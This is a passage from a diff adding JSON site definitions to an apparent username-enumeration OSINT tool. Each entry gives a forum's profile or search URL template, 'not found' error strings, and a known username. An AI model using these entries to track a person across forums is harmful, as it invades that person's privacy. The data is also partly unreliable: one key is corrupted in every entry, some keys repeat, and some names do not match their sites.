"🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Кудряшов", + "errorMsg2": "указан код пользователя", + "errorTyp��": "message", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "comments": "super", + "bad_site": 1 + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rcuniverse": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rcuniverse.com/forum/members/{}.html", + "urlMain": "https://www.rcuniverse.com", + "usernameON": "yuriy19", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + 